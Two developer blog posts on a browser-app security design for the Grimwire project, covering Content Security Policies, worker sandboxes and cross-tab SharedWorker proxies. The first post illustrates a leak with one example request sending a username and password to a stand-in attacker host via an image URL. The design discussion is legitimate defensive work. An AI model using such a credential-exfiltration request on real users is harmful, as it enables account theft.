Thursday, June 13, 2013

The Multi-tab Security Architecture

So ever since finding out I can make a bridge proxy between tabs using SharedWorkers, I've been trying to figure out what kind of cool stuff I can do with it. My first thought was obvious: over-engineer a complex declarative UI toolkit based on new URI schemes and something called "Compositional Hypermedia Events." It was too much, and I may have pulled a hamstring.

The deal here is, the security model determines everything about Grim. Nothing else matters if it's wrong. The tools we've got are Content Security Policies, Web Worker sandboxes, and now the ability to speak across tabs. The point of the declarative UI thing was to keep javascript out of the document but still make good UIs. It could have worked, I know it!

But I'm going to die one day, so I started looking more at the multi-tab options (which allows document access for apps). So here's the deal with CSP (content security policies):

  • You are mostly controlling what can be embedded in the document. New JS? Images? Iframes? Only from domains X Y & Z, plz.
  • Same with Ajax targets.
  • You can also nuke inlines and eval.

So that's all baller, you might think, I'll just allow images from where-ever (because you gotta have the pics) and then keep the dangerous stuff restricted to my domain. Well, too bad, because a GET request can still leak like a sieve, probably looking like this: GET http://evildude.com/thecatpicyoujusthadtosee.png?user=pfraze&password=banana. You could just allow that, but I'm not sure it's good to hand out that much rope when users don't know what it looks like to hang themselves.

Remember, the security model we've got here is there's one core tab - the Shell - and then there are the other app tabs. You disallow the Ajax in the app tabs, but still let them make requests through the SharedWorker to the Shell. The Shell checks the request against its policies, prompts the user ("Cool if that tab reads your email?") then does the Ajax for the other tab. So this means you can allow at least *some* amount of arbitrary code/content into the app tab, given there's parental guidance, but it's hard to know just how much to allow. Should the tab have no restrictions? If the app is leaky, the user wouldn't know it. It's much better to keep it all funneled through the Shell.

Here's another thing: I really don't want to create a dynamic backend for Grim, but it could help. It would take all of two seconds, and I could probably just use PHP but it would make Grim just a little bit less cool to me, and that's not worth it. I wouldn't be able to host it on GitHub Pages, and there'd be fewer platforms that could run the code with 0 setup. But, if I did, I could load pages with specific CSPs and make choosing the allowed domains a part of the security model. More granularity, more flexibility. So what's the plan?

Well the reason GH Pages is such a cool host is the audibility (and the easy deployment). But it turns out GHP is also awesome for this: it's totally static. Devs hosting assets on it can't introduce server code or access logs. That means you can allow content from *.github.io and not worry about it leaking.



So that's awesome, because it means you can deploy an app for Grimwire by pushing it to a github page. I can piggy-back off of their whole thing. The only thing that would make it better would be access to the backlog of revisions-- but, as @briancarlson pointed out, you can always fork a project and get the revision you need. 

Man, that hot-dog looks good.

Monday, June 3, 2013

Cross-tab Transport Proxies

Last week, I found out about a variation of WebWorker called the SharedWorker. It's supported by Webkit browsers, but not Firefox, which is probably why I never noticed it - MDN doesn't document it, and I generally avoid tech without both moz and chrome.

This one's worth it. One of the crucial issues in Grim/Local is the security of the document. Using CSP, I stop applications from adding their own Javascript to the page. This is good, because then I can manage the document as a shared resource and enforce a zone of trust, but it's also bad, because HTML isn't expressive enough for rich, realtime server-side control. New HTML behaviors (widgets, SSEs, html-deltas) have to be added to get rich UIs, and that's a difficult process.

Shared Workers introduce the possibility of proxies which bridge between pages with different security profiles. Effectively, each page becomes a server to other pages. This means that sensitive applications can live inside of high-security tabs (high-secs) where only trusted JS is allowed, while less trusted applications can run in low-security tabs (low-secs) where they can add document javascript more freely.

The low-sec/high-sec relationship is one we already use with email. When you forget your password, you have a message delivered to the inbox tab, where you then authorize the action in the application tab. Currently, we use email to transport between these different trust zones. With cross-tab proxies, you can use Ajax to reach a high-sec.

Content Security Policies still play a key role. In the low-secs, you don't have XHR, but you can add scripts and styles from an application host. High-secs allow the XHR, but keep the document clean. The sandbox created for low-secs should funnel all of their interactions through other tabs, so that actions are still audited.
 
Grimwire still views document code as an extension to the browser/client, not as an extension to the application. Generally speaking, this is a guideline to make everything reusable and HTML-powered (using things like data-* directives, or, with components, custom elements). Relaxing the control over the document means that you can more freely extend the browser. It takes some of the pressure off the response content-types to represent all rich and realtime behaviors, and lowers the barrier to entry for Grim/Local.

I refactored Local to support SharedWorkers (and improved the web & worker APIs in the process) which puts its development at 0.4.0. I'm going to start on 0.2.0 of Grimwire to support this change to the architecture, and to support permissioning and the WebRTC transport. I'm probably going to ditch the JSON manifests of applications and try to simplify things a bit.